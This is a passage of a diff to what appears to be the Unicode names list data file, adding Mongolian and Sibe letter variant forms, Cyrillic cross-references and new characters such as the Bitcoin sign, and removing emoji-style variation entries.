+	~ 180A ALT1 first form (medial)
 @		Format controls
 180B	MONGOLIAN FREE VARIATION SELECTOR ONE
 	* abbreviated FVS1
@@ -9310,6 +9336,9 @@
 	~ 1826 180B second form (final)
 	~ 1826 180C third form (medial)
 1827	MONGOLIAN LETTER EE
+	~ 1827 ALT1 first form (initial)
+	~ 1827 ALT1 first form (medial)
+	~ 1827 ALT1 first form (final)
 1828	MONGOLIAN LETTER NA
 	x (cyrillic small letter en - 043D)
 	~ 1828 ALT1 first form (initial)
@@ -9318,24 +9347,30 @@
 	~ 1828 180B second form (initial)
 	~ 1828 180B second form (medial)
 	~ 1828 180C third form (medial)
-	~ 1828 180D separate form (medial)
+	~ 1828 180D fourth form (medial)
 1829	MONGOLIAN LETTER ANG
+	~ 1829 ALT1 first form (initial)
+	~ 1829 ALT1 first form (medial)
+	~ 1829 ALT1 first form (final)
 182A	MONGOLIAN LETTER BA
 	x (cyrillic small letter be - 0431)
 	~ 182A ALT1 first form (initial)
 	~ 182A ALT1 first form (medial)
 	~ 182A ALT1 first form (final)
-	~ 182A 180B alternative form (final)
+	~ 182A 180B second form (final)
 182B	MONGOLIAN LETTER PA
 	x (cyrillic small letter pe - 043F)
+	~ 182B ALT1 first form (initial)
+	~ 182B ALT1 first form (medial)
+	~ 182B ALT1 first form (final)
 182C	MONGOLIAN LETTER QA
 	x (cyrillic small letter ha - 0445)
 	~ 182C ALT1 first form (initial)
 	~ 182C ALT1 first form (medial)
 	~ 182C ALT1 first form (final)
+	~ 182C 180B second form (isolate)
 	~ 182C 180B second form (initial)
 	~ 182C 180B second form (medial)
-	~ 182C 180B feminine second form (isolate)
 	~ 182C 180C third form (medial)
 	~ 182C 180D fourth form (medial)
 182D	MONGOLIAN LETTER GA
@@ -9345,13 +9380,19 @@
 	~ 182D ALT1 first form (final)
 	~ 182D 180B second form (initial)
 	~ 182D 180B second form (medial)
-	~ 182D 180B feminine form (final)
+	~ 182D 180B second form (final)
 	~ 182D 180C third form (medial)
-	~ 182D 180D feminine form (medial)
+	~ 182D 180D fourth form (medial)
 182E	MONGOLIAN LETTER MA
 	x (cyrillic small letter em - 043C)
+	~ 182E ALT1 first form (initial)
+	~ 182E ALT1 first form (medial)
+	~ 182E ALT1 first form (final)
 182F	MONGOLIAN LETTER LA
 	x (cyrillic small letter el - 043B)
+	~ 182F ALT1 first form (initial)
+	~ 182F ALT1 first form (medial)
+	~ 182F ALT1 first form (final)
 1830	MONGOLIAN LETTER SA
 	x (cyrillic small letter es - 0441)
 	~ 1830 ALT1 first form (initial)
@@ -9361,6 +9402,9 @@
 	~ 1830 180C third form (final)
 1831	MONGOLIAN LETTER SHA
 	x (cyrillic small letter sha - 0448)
+	~ 1831 ALT1 first form (initial)
+	~ 1831 ALT1 first form (medial)
+	~ 1831 ALT1 first form (final)
 1832	MONGOLIAN LETTER TA
 	x (cyrillic small letter te - 0442)
 	~ 1832 ALT1 first form (initial)
@@ -9377,6 +9421,9 @@
 	~ 1833 180B second form (final)
 1834	MONGOLIAN LETTER CHA
 	x (cyrillic small letter che - 0447)
+	~ 1834 ALT1 first form (initial)
+	~ 1834 ALT1 first form (medial)
+	~ 1834 ALT1 first form (final)
 1835	MONGOLIAN LETTER JA
 	x (cyrillic small letter zhe - 0436)
 	~ 1835 ALT1 first form (initial)
@@ -9393,6 +9440,9 @@
 	~ 1836 180C third form (medial)
 1837	MONGOLIAN LETTER RA
 	x (cyrillic small letter er - 0440)
+	~ 1837 ALT1 first form (initial)
+	~ 1837 ALT1 first form (medial)
+	~ 1837 ALT1 first form (final)
 1838	MONGOLIAN LETTER WA
 	x (cyrillic small letter ve - 0432)
 	~ 1838 ALT1 first form (initial)
@@ -9401,23 +9451,56 @@
 	~ 1838 180B second form (final)
 1839	MONGOLIAN LETTER FA
 	x (cyrillic small letter ef - 0444)
+	~ 1839 ALT1 first form (initial)
+	~ 1839 ALT1 first form (medial)
+	~ 1839 ALT1 first form (final)
 183A	MONGOLIAN LETTER KA
 	x (cyrillic small letter ha - 0445)
+	~ 183A ALT1 first form (initial)
+	~ 183A ALT1 first form (medial)
+	~ 183A ALT1 first form (final)
 183B	MONGOLIAN LETTER KHA
 	x (cyrillic small letter ka - 043A)
+	~ 183B ALT1 first form (initial)
+	~ 183B ALT1 first form (medial)
+	~ 183B ALT1 first form (final)
 183C	MONGOLIAN LETTER TSA
 	x (cyrillic small letter tse - 0446)
+	~ 183C ALT1 first form (initial)
+	~ 183C ALT1 first form (medial)
+	~ 183C ALT1 first form (final)
 183D	MONGOLIAN LETTER ZA
 	x (cyrillic small letter ze - 0437)
+	~ 183D ALT1 first form (initial)
+	~ 183D ALT1 first form (medial)
+	~ 183D ALT1 first form (final)
 183E	MONGOLIAN LETTER HAA
 	x (cyrillic small letter ha - 0445)
+	~ 183E ALT1 first form (initial)
+	~ 183E ALT1 first form (medial)
+	~ 183E ALT1 first form (final)
 183F	MONGOLIAN LETTER ZRA
 	x (cyrillic small letter zhe - 0436)
+	~ 183F ALT1 first form (initial)
+	~ 183F ALT1 first form (medial)
+	~ 183F ALT1 first form (final)
 1840	MONGOLIAN LETTER LHA
+	~ 1840 ALT1 first form (initial)
+	~ 1840 ALT1 first form (medial)
+	~ 1840 ALT1 first form (final)
 1841	MONGOLIAN LETTER ZHI
+	~ 1841 ALT1 first form (initial)
+	~ 1841 ALT1 first form (medial)
+	~ 1841 ALT1 first form (final)
 1842	MONGOLIAN LETTER CHI
+	~ 1842 ALT1 first form (initial)
+	~ 1842 ALT1 first form (medial)
+	~ 1842 ALT1 first form (final)
 @		Todo letters
 1843	MONGOLIAN LETTER TODO LONG VOWEL SIGN
+	~ 1843 ALT1 first form (initial)
+	~ 1843 ALT1 first form (medial)
+	~ 1843 ALT1 first form (final)
 1844	MONGOLIAN LETTER TODO E
 	~ 1844 ALT1 first form (initial)
 	~ 1844 ALT1 first form (medial)
@@ -9453,14 +9536,23 @@
 	~ 1849 180B second form (isolate)
 	~ 1849 180B second form (medial)
 184A	MONGOLIAN LETTER TODO ANG
+	~ 184A ALT1 first form (initial)
+	~ 184A ALT1 first form (medial)
+	~ 184A ALT1 first form (final)
 184B	MONGOLIAN LETTER TODO BA
+	~ 184B ALT1 first form (initial)
+	~ 184B ALT1 first form (medial)
+	~ 184B ALT1 first form (final)
 184C	MONGOLIAN LETTER TODO PA
+	~ 184C ALT1 first form (initial)
+	~ 184C ALT1 first form (medial)
+	~ 184C ALT1 first form (final)
 184D	MONGOLIAN LETTER TODO QA
 	~ 184D ALT1 first form (initial)
 	~ 184D ALT1 first form (medial)
 	~ 184D ALT1 first form (final)
-	~ 184D 180B feminine form (initial)
-	~ 184D 180B feminine form (medial)
+	~ 184D 180B second form (initial)
+	~ 184D 180B second form (medial)
 184E	MONGOLIAN LETTER TODO GA
 	~ 184E ALT1 first form (initial)
 	~ 184E ALT1 first form (medial)
@@ -9467,21 +9559,64 @@
 	~ 184E ALT1 first form (final)
 	~ 184E 180B second form (medial)
 184F	MONGOLIAN LETTER TODO MA
+	~ 184F ALT1 first form (initial)
+	~ 184F ALT1 first form (medial)
+	~ 184F ALT1 first form (final)
 1850	MONGOLIAN LETTER TODO TA
+	~ 1850 ALT1 first form (initial)
+	~ 1850 ALT1 first form (medial)
+	~ 1850 ALT1 first form (final)
 1851	MONGOLIAN LETTER TODO DA
+	~ 1851 ALT1 first form (initial)
+	~ 1851 ALT1 first form (medial)
+	~ 1851 ALT1 first form (final)
 1852	MONGOLIAN LETTER TODO CHA
+	~ 1852 ALT1 first form (initial)
+	~ 1852 ALT1 first form (medial)
+	~ 1852 ALT1 first form (final)
 1853	MONGOLIAN LETTER TODO JA
+	~ 1853 ALT1 first form (initial)
+	~ 1853 ALT1 first form (medial)
+	~ 1853 ALT1 first form (final)
 1854	MONGOLIAN LETTER TODO TSA
+	~ 1854 ALT1 first form (initial)
+	~ 1854 ALT1 first form (medial)
+	~ 1854 ALT1 first form (final)
 1855	MONGOLIAN LETTER TODO YA
+	~ 1855 ALT1 first form (initial)
+	~ 1855 ALT1 first form (medial)
+	~ 1855 ALT1 first form (final)
 1856	MONGOLIAN LETTER TODO WA
+	~ 1856 ALT1 first form (initial)
+	~ 1856 ALT1 first form (medial)
+	~ 1856 ALT1 first form (final)
 1857	MONGOLIAN LETTER TODO KA
+	~ 1857 ALT1 first form (initial)
+	~ 1857 ALT1 first form (medial)
+	~ 1857 ALT1 first form (final)
 1858	MONGOLIAN LETTER TODO GAA
+	~ 1858 ALT1 first form (initial)
+	~ 1858 ALT1 first form (medial)
+	~ 1858 ALT1 first form (final)
 1859	MONGOLIAN LETTER TODO HAA
+	~ 1859 ALT1 first form (initial)
+	~ 1859 ALT1 first form (medial)
+	~ 1859 ALT1 first form (final)
 185A	MONGOLIAN LETTER TODO JIA
+	~ 185A ALT1 first form (initial)
+	~ 185A ALT1 first form (medial)
+	~ 185A ALT1 first form (final)
 185B	MONGOLIAN LETTER TODO NIA
+	~ 185B ALT1 first form (initial)
+	~ 185B ALT1 first form (medial)
+	~ 185B ALT1 first form (final)
 185C	MONGOLIAN LETTER TODO DZA
+	~ 185C ALT1 first form (initial)
+	~ 185C ALT1 first form (medial)
+	~ 185C ALT1 first form (final)
 @		Sibe letters
 185D	MONGOLIAN LETTER SIBE E
+	~ 185D ALT1 first form (isolate)
 	~ 185D ALT1 first form (initial)
 	~ 185D ALT1 first form (medial)
 	~ 185D ALT1 first form (final)
@@ -9488,6 +9623,7 @@
 	~ 185D 180B second form (medial)
 	~ 185D 180B second form (final)
 185E	MONGOLIAN LETTER SIBE I
+	~ 185E ALT1 first form (isolate)
 	~ 185E ALT1 first form (initial)
 	~ 185E ALT1 first form (medial)
 	~ 185E ALT1 first form (final)
@@ -9496,6 +9632,9 @@
 	~ 185E 180C third form (medial)
 	~ 185E 180C third form (final)
 185F	MONGOLIAN LETTER SIBE IY
+	~ 185F ALT1 first form (initial)
+	~ 185F ALT1 first form (medial)
+	~ 185F ALT1 first form (final)
 1860	MONGOLIAN LETTER SIBE UE
 	~ 1860 ALT1 first form (initial)
 	~ 1860 ALT1 first form (medial)
@@ -9503,7 +9642,14 @@
 	~ 1860 180B second form (medial)
 	~ 1860 180B second form (final)
 1861	MONGOLIAN LETTER SIBE U
+	~ 1861 ALT1 first form (isolate)
+	~ 1861 ALT1 first form (initial)
+	~ 1861 ALT1 first form (medial)
+	~ 1861 ALT1 first form (final)
 1862	MONGOLIAN LETTER SIBE ANG
+	~ 1862 ALT1 first form (initial)
+	~ 1862 ALT1 first form (medial)
+	~ 1862 ALT1 first form (final)
 1863	MONGOLIAN LETTER SIBE KA
 	~ 1863 ALT1 first form (initial)
 	~ 1863 ALT1 first form (medial)
@@ -9510,9 +9656,21 @@
 	~ 1863 ALT1 first form (final)
 	~ 1863 180B second form (medial)
 1864	MONGOLIAN LETTER SIBE GA
+	~ 1864 ALT1 first form (initial)
+	~ 1864 ALT1 first form (medial)
+	~ 1864 ALT1 first form (final)
 1865	MONGOLIAN LETTER SIBE HA
+	~ 1865 ALT1 first form (initial)
+	~ 1865 ALT1 first form (medial)
+	~ 1865 ALT1 first form (final)
 1866	MONGOLIAN LETTER SIBE PA
+	~ 1866 ALT1 first form (initial)
+	~ 1866 ALT1 first form (medial)
+	~ 1866 ALT1 first form (final)
 1867	MONGOLIAN LETTER SIBE SHA
+	~ 1867 ALT1 first form (initial)
+	~ 1867 ALT1 first form (medial)
+	~ 1867 ALT1 first form (final)
 1868	MONGOLIAN LETTER SIBE TA
 	~ 1868 ALT1 first form (initial)
 	~ 1868 ALT1 first form (medial)
@@ -9527,10 +9685,25 @@
 	~ 1869 180B second form (initial)
 	~ 1869 180B second form (medial)
 186A	MONGOLIAN LETTER SIBE JA
+	~ 186A ALT1 first form (initial)
+	~ 186A ALT1 first form (medial)
+	~ 186A ALT1 first form (final)
 186B	MONGOLIAN LETTER SIBE FA
+	~ 186B ALT1 first form (initial)
+	~ 186B ALT1 first form (medial)
+	~ 186B ALT1 first form (final)
 186C	MONGOLIAN LETTER SIBE GAA
+	~ 186C ALT1 first form (initial)
+	~ 186C ALT1 first form (medial)
+	~ 186C ALT1 first form (final)
 186D	MONGOLIAN LETTER SIBE HAA
+	~ 186D ALT1 first form (initial)
+	~ 186D ALT1 first form (medial)
+	~ 186D ALT1 first form (final)
 186E	MONGOLIAN LETTER SIBE TSA
+	~ 186E ALT1 first form (initial)
+	~ 186E ALT1 first form (medial)
+	~ 186E ALT1 first form (final)
 186F	MONGOLIAN LETTER SIBE ZA
 	~ 186F ALT1 first form (initial)
 	~ 186F ALT1 first form (medial)
@@ -9538,10 +9711,20 @@
 	~ 186F 180B second form (initial)
 	~ 186F 180B second form (medial)
 1870	MONGOLIAN LETTER SIBE RAA
+	~ 1870 ALT1 first form (initial)
+	~ 1870 ALT1 first form (medial)
+	~ 1870 ALT1 first form (final)
 1871	MONGOLIAN LETTER SIBE CHA
+	~ 1871 ALT1 first form (initial)
+	~ 1871 ALT1 first form (medial)
+	~ 1871 ALT1 first form (final)
 1872	MONGOLIAN LETTER SIBE ZHA
+	~ 1872 ALT1 first form (initial)
+	~ 1872 ALT1 first form (medial)
+	~ 1872 ALT1 first form (final)
 @		Manchu letters
 1873	MONGOLIAN LETTER MANCHU I
+	~ 1873 ALT1 first form (isolate)
 	~ 1873 ALT1 first form (initial)
 	~ 1873 ALT1 first form (medial)
 	~ 1873 ALT1 first form (final)
@@ -9555,11 +9738,14 @@
 	~ 1874 ALT1 first form (medial)
 	~ 1874 ALT1 first form (final)
 	~ 1874 180B second form (medial)
-	~ 1874 180B feminine first final form (final)
-	~ 1874 180C feminine first medial form (medial)
-	~ 1874 180C feminine second final form (final)
-	~ 1874 180D feminine second medial form (medial)
+	~ 1874 180B second form (final)
+	~ 1874 180C third form (medial)
+	~ 1874 180C third form (final)
+	~ 1874 180D fourth form (medial)
 1875	MONGOLIAN LETTER MANCHU RA
+	~ 1875 ALT1 first form (initial)
+	~ 1875 ALT1 first form (medial)
+	~ 1875 ALT1 first form (final)
 1876	MONGOLIAN LETTER MANCHU FA
 	~ 1876 ALT1 first form (initial)
 	~ 1876 ALT1 first form (medial)
@@ -9567,6 +9753,9 @@
 	~ 1876 180B second form (initial)
 	~ 1876 180B second form (medial)
 1877	MONGOLIAN LETTER MANCHU ZHA
+	~ 1877 ALT1 first form (initial)
+	~ 1877 ALT1 first form (medial)
+	~ 1877 ALT1 first form (final)
 @		Extensions for Sanskrit and Tibetan
 1880	MONGOLIAN LETTER ALI GALI ANUSVARA ONE
 	x (tibetan sign sna ldan - 0F83)
@@ -9596,6 +9785,9 @@
 	~ 1888 ALT1 first form (final)
 	~ 1888 180B second form (final)
 1889	MONGOLIAN LETTER ALI GALI KA
+	~ 1889 ALT1 first form (initial)
+	~ 1889 ALT1 first form (medial)
+	~ 1889 ALT1 first form (final)
 188A	MONGOLIAN LETTER ALI GALI NGA
 	~ 188A ALT1 first form (initial)
 	~ 188A ALT1 first form (medial)
@@ -9603,37 +9795,130 @@
 	~ 188A 180B second form (initial)
 	~ 188A 180B second form (medial)
 188B	MONGOLIAN LETTER ALI GALI CA
+	~ 188B ALT1 first form (initial)
+	~ 188B ALT1 first form (medial)
+	~ 188B ALT1 first form (final)
 188C	MONGOLIAN LETTER ALI GALI TTA
+	~ 188C ALT1 first form (initial)
+	~ 188C ALT1 first form (medial)
+	~ 188C ALT1 first form (final)
 188D	MONGOLIAN LETTER ALI GALI TTHA
+	~ 188D ALT1 first form (initial)
+	~ 188D ALT1 first form (medial)
+	~ 188D ALT1 first form (final)
 188E	MONGOLIAN LETTER ALI GALI DDA
+	~ 188E ALT1 first form (initial)
+	~ 188E ALT1 first form (medial)
+	~ 188E ALT1 first form (final)
 188F	MONGOLIAN LETTER ALI GALI NNA
+	~ 188F ALT1 first form (initial)
+	~ 188F ALT1 first form (medial)
+	~ 188F ALT1 first form (final)
 1890	MONGOLIAN LETTER ALI GALI TA
+	~ 1890 ALT1 first form (initial)
+	~ 1890 ALT1 first form (medial)
+	~ 1890 ALT1 first form (final)
 1891	MONGOLIAN LETTER ALI GALI DA
+	~ 1891 ALT1 first form (initial)
+	~ 1891 ALT1 first form (medial)
+	~ 1891 ALT1 first form (final)
 1892	MONGOLIAN LETTER ALI GALI PA
+	~ 1892 ALT1 first form (initial)
+	~ 1892 ALT1 first form (medial)
+	~ 1892 ALT1 first form (final)
 1893	MONGOLIAN LETTER ALI GALI PHA
+	~ 1893 ALT1 first form (initial)
+	~ 1893 ALT1 first form (medial)
+	~ 1893 ALT1 first form (final)
 1894	MONGOLIAN LETTER ALI GALI SSA
+	~ 1894 ALT1 first form (initial)
+	~ 1894 ALT1 first form (medial)
+	~ 1894 ALT1 first form (final)
 1895	MONGOLIAN LETTER ALI GALI ZHA
+	~ 1895 ALT1 first form (initial)
+	~ 1895 ALT1 first form (medial)
+	~ 1895 ALT1 first form (final)
 1896	MONGOLIAN LETTER ALI GALI ZA
+	~ 1896 ALT1 first form (initial)
+	~ 1896 ALT1 first form (medial)
+	~ 1896 ALT1 first form (final)
 1897	MONGOLIAN LETTER ALI GALI AH
+	~ 1897 ALT1 first form (initial)
+	~ 1897 ALT1 first form (medial)
+	~ 1897 ALT1 first form (final)
 1898	MONGOLIAN LETTER TODO ALI GALI TA
+	~ 1898 ALT1 first form (initial)
+	~ 1898 ALT1 first form (medial)
+	~ 1898 ALT1 first form (final)
 1899	MONGOLIAN LETTER TODO ALI GALI ZHA
+	~ 1899 ALT1 first form (initial)
+	~ 1899 ALT1 first form (medial)
+	~ 1899 ALT1 first form (final)
 189A	MONGOLIAN LETTER MANCHU ALI GALI GHA
+	~ 189A ALT1 first form (initial)
+	~ 189A ALT1 first form (medial)
+	~ 189A ALT1 first form (final)
 189B	MONGOLIAN LETTER MANCHU ALI GALI NGA
+	~ 189B ALT1 first form (initial)
+	~ 189B ALT1 first form (medial)
+	~ 189B ALT1 first form (final)
 189C	MONGOLIAN LETTER MANCHU ALI GALI CA
+	~ 189C ALT1 first form (initial)
+	~ 189C ALT1 first form (medial)
+	~ 189C ALT1 first form (final)
 189D	MONGOLIAN LETTER MANCHU ALI GALI JHA
+	~ 189D ALT1 first form (initial)
+	~ 189D ALT1 first form (medial)
+	~ 189D ALT1 first form (final)
 189E	MONGOLIAN LETTER MANCHU ALI GALI TTA
+	~ 189E ALT1 first form (initial)
+	~ 189E ALT1 first form (medial)
+	~ 189E ALT1 first form (final)
 189F	MONGOLIAN LETTER MANCHU ALI GALI DDHA
+	~ 189F ALT1 first form (initial)
+	~ 189F ALT1 first form (medial)
+	~ 189F ALT1 first form (final)
 18A0	MONGOLIAN LETTER MANCHU ALI GALI TA
+	~ 18A0 ALT1 first form (initial)
+	~ 18A0 ALT1 first form (medial)
+	~ 18A0 ALT1 first form (final)
 18A1	MONGOLIAN LETTER MANCHU ALI GALI DHA
+	~ 18A1 ALT1 first form (initial)
+	~ 18A1 ALT1 first form (medial)
+	~ 18A1 ALT1 first form (final)
 18A2	MONGOLIAN LETTER MANCHU ALI GALI SSA
+	~ 18A2 ALT1 first form (initial)
+	~ 18A2 ALT1 first form (medial)
+	~ 18A2 ALT1 first form (final)
 18A3	MONGOLIAN LETTER MANCHU ALI GALI CYA
+	~ 18A3 ALT1 first form (initial)
+	~ 18A3 ALT1 first form (medial)
+	~ 18A3 ALT1 first form (final)
 18A4	MONGOLIAN LETTER MANCHU ALI GALI ZHA
+	~ 18A4 ALT1 first form (initial)
+	~ 18A4 ALT1 first form (medial)
+	~ 18A4 ALT1 first form (final)
 18A5	MONGOLIAN LETTER MANCHU ALI GALI ZA
+	~ 18A5 ALT1 first form (initial)
+	~ 18A5 ALT1 first form (medial)
+	~ 18A5 ALT1 first form (final)
 18A6	MONGOLIAN LETTER ALI GALI HALF U
+	~ 18A6 ALT1 first form (initial)
+	~ 18A6 ALT1 first form (medial)
+	~ 18A6 ALT1 first form (final)
 18A7	MONGOLIAN LETTER ALI GALI HALF YA
+	~ 18A7 ALT1 first form (initial)
+	~ 18A7 ALT1 first form (medial)
+	~ 18A7 ALT1 first form (final)
 18A8	MONGOLIAN LETTER MANCHU ALI GALI BHA
+	~ 18A8 ALT1 first form (initial)
+	~ 18A8 ALT1 first form (medial)
+	~ 18A8 ALT1 first form (final)
 18A9	MONGOLIAN LETTER ALI GALI DAGALGA
 18AA	MONGOLIAN LETTER MANCHU ALI GALI LHA
+	~ 18AA ALT1 first form (initial)
+	~ 18AA ALT1 first form (medial)
+	~ 18AA ALT1 first form (final)
 @@@~	Contextual Variants and Standardized Variation Sequences
 @+		Unlike other blocks, these variation sequences use the script-specific variation selectors for Mongolian.
 @@	18B0	Unified Canadian Aboriginal Syllabics Extended	18FF
@@ -9895,6 +10180,7 @@
 19A9	NEW TAI LUE LETTER LOW XVA
 19AA	NEW TAI LUE LETTER HIGH SUA
 19AB	NEW TAI LUE LETTER LOW SUA
+	* a labialized consonant cluster
 @		Vowel signs
 19B0	NEW TAI LUE VOWEL SIGN VOWEL SHORTENER
 19B1	NEW TAI LUE VOWEL SIGN AA
@@ -10728,14 +11014,23 @@
 @@	1C80	Cyrillic Extended-C	1C8F
 @		Historic letter variants
 1C80	CYRILLIC SMALL LETTER ROUNDED VE
+	x (cyrillic small letter ve - 0432)
 1C81	CYRILLIC SMALL LETTER LONG-LEGGED DE
+	x (cyrillic small letter de - 0434)
 1C82	CYRILLIC SMALL LETTER NARROW O
+	x (cyrillic small letter o - 043E)
 1C83	CYRILLIC SMALL LETTER WIDE ES
+	x (cyrillic small letter es - 0441)
 1C84	CYRILLIC SMALL LETTER TALL TE
 1C85	CYRILLIC SMALL LETTER THREE-LEGGED TE
+	x (cyrillic small letter te - 0442)
 1C86	CYRILLIC SMALL LETTER TALL HARD SIGN
+	x (cyrillic small letter hard sign - 044A)
 1C87	CYRILLIC SMALL LETTER TALL YAT
+	x (cyrillic small letter yat - 0463)
 1C88	CYRILLIC SMALL LETTER UNBLENDED UK
+	x (cyrillic small letter uk - 0479)
+	x (cyrillic small letter monograph uk - A64B)
 @@	1CC0	Sundanese Supplement	1CCF
 @		Punctuation
 1CC0	SUNDANESE PUNCTUATION BINDU SURYA
@@ -10847,6 +11142,9 @@
 	* marks a bilabial fricative occurring only before unvoiced labial stops
 	x (kannada sign upadhmaniya - 0CF2)
 	x (tibetan sign mchu can - 0F89)
+1CF7	VEDIC SIGN ATIKRAMA
+	= vaidika saamagaana atikrama
+	* indicates skipping of a svara
 @		Signs for Jaiminiya Sama Veda
 1CF8	VEDIC TONE RING ABOVE
 1CF9	VEDIC TONE DOUBLE RING ABOVE
@@ -11286,6 +11584,14 @@
 1DF4	COMBINING LATIN SMALL LETTER U WITH DIAERESIS
 @		Diacritic for American lexicography
 1DF5	COMBINING UP TACK ABOVE
+@		Typicon marks
+1DF6	COMBINING KAVYKA ABOVE RIGHT
+1DF7	COMBINING KAVYKA ABOVE LEFT
+	x (combining cyrillic kavyka - A67C)
+1DF8	COMBINING DOT ABOVE LEFT
+	x (combining dot above right - 0358)
+1DF9	COMBINING WIDE INVERTED BRIDGE BELOW
+	x (combining inverted bridge below - 033A)
 @		Miscellaneous mark
 1DFB	COMBINING DELETION MARK
 	* used for "mhusaa" in Newa scribal tradition
@@ -12559,8 +12865,6 @@
 @		Double punctuation for vertical text
 203C	DOUBLE EXCLAMATION MARK
 	x (exclamation mark - 0021)
-	~ 203C FE0E text style
-	~ 203C FE0F emoji style
 	# 0021 0021
 @		General punctuation
 203D	INTERROBANG
@@ -12596,8 +12900,6 @@
 2048	QUESTION EXCLAMATION MARK
 	# 003F 0021
 2049	EXCLAMATION QUESTION MARK
-	~ 2049 FE0E text style
-	~ 2049 FE0F emoji style
 	# 0021 003F
 @		General punctuation
 204A	TIRONIAN SIGN ET
@@ -12699,7 +13001,6 @@
 206D	ACTIVATE ARABIC FORM SHAPING
 206E	NATIONAL DIGIT SHAPES
 206F	NOMINAL DIGIT SHAPES
-@~	!
 @@	2070	Superscripts and Subscripts	209F
 @		Superscripts
 @+		See also superscript Latin letters in the Spacing Modifier Letters block starting at 02B0.
@@ -12904,6 +13205,7 @@
 	* Russia
 20BE	LARI SIGN
 	* Georgia
+20BF	BITCOIN SIGN
 @@	20D0	Combining Diacritical Marks for Symbols	20FF
 @		Combining diacritical marks for symbols
 20D0	COMBINING LEFT HARPOON ABOVE
@@ -13077,8 +13379,6 @@
 	# 0054 0045 004C
 2122	TRADE MARK SIGN
 	x (circled wz - 1F12E)
-	~ 2122 FE0E text style
-	~ 2122 FE0F emoji style
 	# <super> 0054 004D
 2123	VERSICLE
 2124	DOUBLE-STRUCK CAPITAL Z
@@ -13160,8 +13460,6 @@
 2139	INFORMATION SOURCE
 	* intended for use with 20DD
 	x (circled information source - 1F6C8)
-	~ 2139 FE0E text style
-	~ 2139 FE0F emoji style
 	# <font> 0069 latin small letter i
 213A	ROTATED CAPITAL Q
 	* a binding signature mark
@@ -13220,7 +13518,6 @@
 	x (greek small letter digamma - 03DD)
 @		Biblical editorial symbol
 214F	SYMBOL FOR SAMARITAN SOURCE
-@~	!
 @@	2150	Number Forms	218F
 @		Fractions
 @+		Other fraction number forms are found in the Latin-1 Supplement block.
@@ -13370,23 +13667,11 @@
 	* IPA: ingressive airflow
 2194	LEFT RIGHT ARROW
 	= z notation relation
-	~ 2194 FE0E text style
-	~ 2194 FE0F emoji style
 2195	UP DOWN ARROW
-	~ 2195 FE0E text style
-	~ 2195 FE0F emoji style
 2196	NORTH WEST ARROW
-	~ 2196 FE0E text style
-	~ 2196 FE0F emoji style
 2197	NORTH EAST ARROW
-	~ 2197 FE0E text style
-	~ 2197 FE0F emoji style
 2198	SOUTH EAST ARROW
-	~ 2198 FE0E text style
-	~ 2198 FE0F emoji style
 2199	SOUTH WEST ARROW
-	~ 2199 FE0E text style
-	~ 2199 FE0F emoji style
 @		Arrows with modifications
 219A	LEFTWARDS ARROW WITH STROKE
 	* negation of 2190
@@ -13419,11 +13704,7 @@
 	= depth symbol
 21A8	UP DOWN ARROW WITH BASE
 21A9	LEFTWARDS ARROW WITH HOOK
-	~ 21A9 FE0E text style
-	~ 21A9 FE0F emoji style
 21AA	RIGHTWARDS ARROW WITH HOOK
-	~ 21AA FE0E text style
-	~ 21AA FE0F emoji style
 21AB	LEFTWARDS ARROW WITH LOOP
 21AC	RIGHTWARDS ARROW WITH LOOP
 21AD	LEFT RIGHT WAVE ARROW
@@ -13561,7 +13842,6 @@
 21FD	LEFTWARDS OPEN-HEADED ARROW
 21FE	RIGHTWARDS OPEN-HEADED ARROW
 21FF	LEFT RIGHT OPEN-HEADED ARROW
-@~	!
 @@	2200	Mathematical Operators	22FF
 @@+
 @		Miscellaneous mathematical symbols
@@ -14180,12 +14460,8 @@
 231A	WATCH
 	x (alarm clock - 23F0)
 	x (clock face one oclock - 1F550)
-	~ 231A FE0E text style
-	~ 231A FE0F emoji style
 231B	HOURGLASS
 	= alchemical symbol for hour
-	~ 231B FE0E text style
-	~ 231B FE0F emoji style
 @		Quine corners
 @+		These form a set of four quine corners, for quincuncial arrangement. They are also used in upper and lower pairs in mathematic, or more rarely in editorial usage as alternatives to half brackets.
 231C	TOP LEFT CORNER
@@ -14214,8 +14490,6 @@
 2328	KEYBOARD
 	x (keyboard and mouse - 1F5A6)
 	x (wired keyboard - 1F5AE)
-	~ 2328 FE0E text style
-	~ 2328 FE0F emoji style
 @		Deprecated angle brackets
 @+		These characters are deprecated and are strongly discouraged for mathematical use because of their canonical equivalence to CJK punctuation.
 2329	LEFT-POINTING ANGLE BRACKET
@@ -14453,9 +14727,10 @@
 23B8	LEFT VERTICAL BOX LINE
 23B9	RIGHT VERTICAL BOX LINE
 @		Scan lines for terminal graphics
- at +		The scan line numbers here refer to old, low-resolution technology for terminals, with only 9 scan lines per fixed-size character glyph. Even-numbered scan lines are unified with box-drawing graphics.
+ at +		The scan line numbers here refer to old, low-resolution technology for terminals, with only 9 scan lines per fixed-size character glyph.
 23BA	HORIZONTAL SCAN LINE-1
 23BB	HORIZONTAL SCAN LINE-3
+	* scan line-5 is unified with the box-drawing graphic character 2500
 23BC	HORIZONTAL SCAN LINE-7
 23BD	HORIZONTAL SCAN LINE-9
 @		Dentistry notation symbols
@@ -14491,8 +14766,6 @@
 	x (return left - 2B90)
 23CF	EJECT SYMBOL
 	* UI symbol to eject media
-	~ 23CF FE0E text style
-	~ 23CF FE0F emoji style
 @		Special character extension
 23D0	VERTICAL LINE EXTENSION
 	* used for extension of arrows
@@ -14546,57 +14819,45 @@
 23EB	BLACK UP-POINTING DOUBLE TRIANGLE
 23EC	BLACK DOWN-POINTING DOUBLE TRIANGLE
 23ED	BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-	~ 23ED FE0E text style
-	~ 23ED FE0F emoji style
 23EE	BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-	~ 23EE FE0E text style
-	~ 23EE FE0F emoji style
 23EF	BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
-	~ 23EF FE0E text style
-	~ 23EF FE0F emoji style
 23F0	ALARM CLOCK
 	x (watch - 231A)
 	x (clock face one oclock - 1F550)
 	x (mantelpiece clock - 1F570)
 23F1	STOPWATCH
-	~ 23F1 FE0E text style
-	~ 23F1 FE0F emoji style
 23F2	TIMER CLOCK
-	~ 23F2 FE0E text style
-	~ 23F2 FE0F emoji style
 23F3	HOURGLASS WITH FLOWING SAND
 	x (hourglass - 231B)
 23F4	BLACK MEDIUM LEFT-POINTING TRIANGLE
 	= reverse, back
 	* preferred to 25C0 black left-pointing triangle
+	x (black medium left-pointing triangle centred - 2BC7)
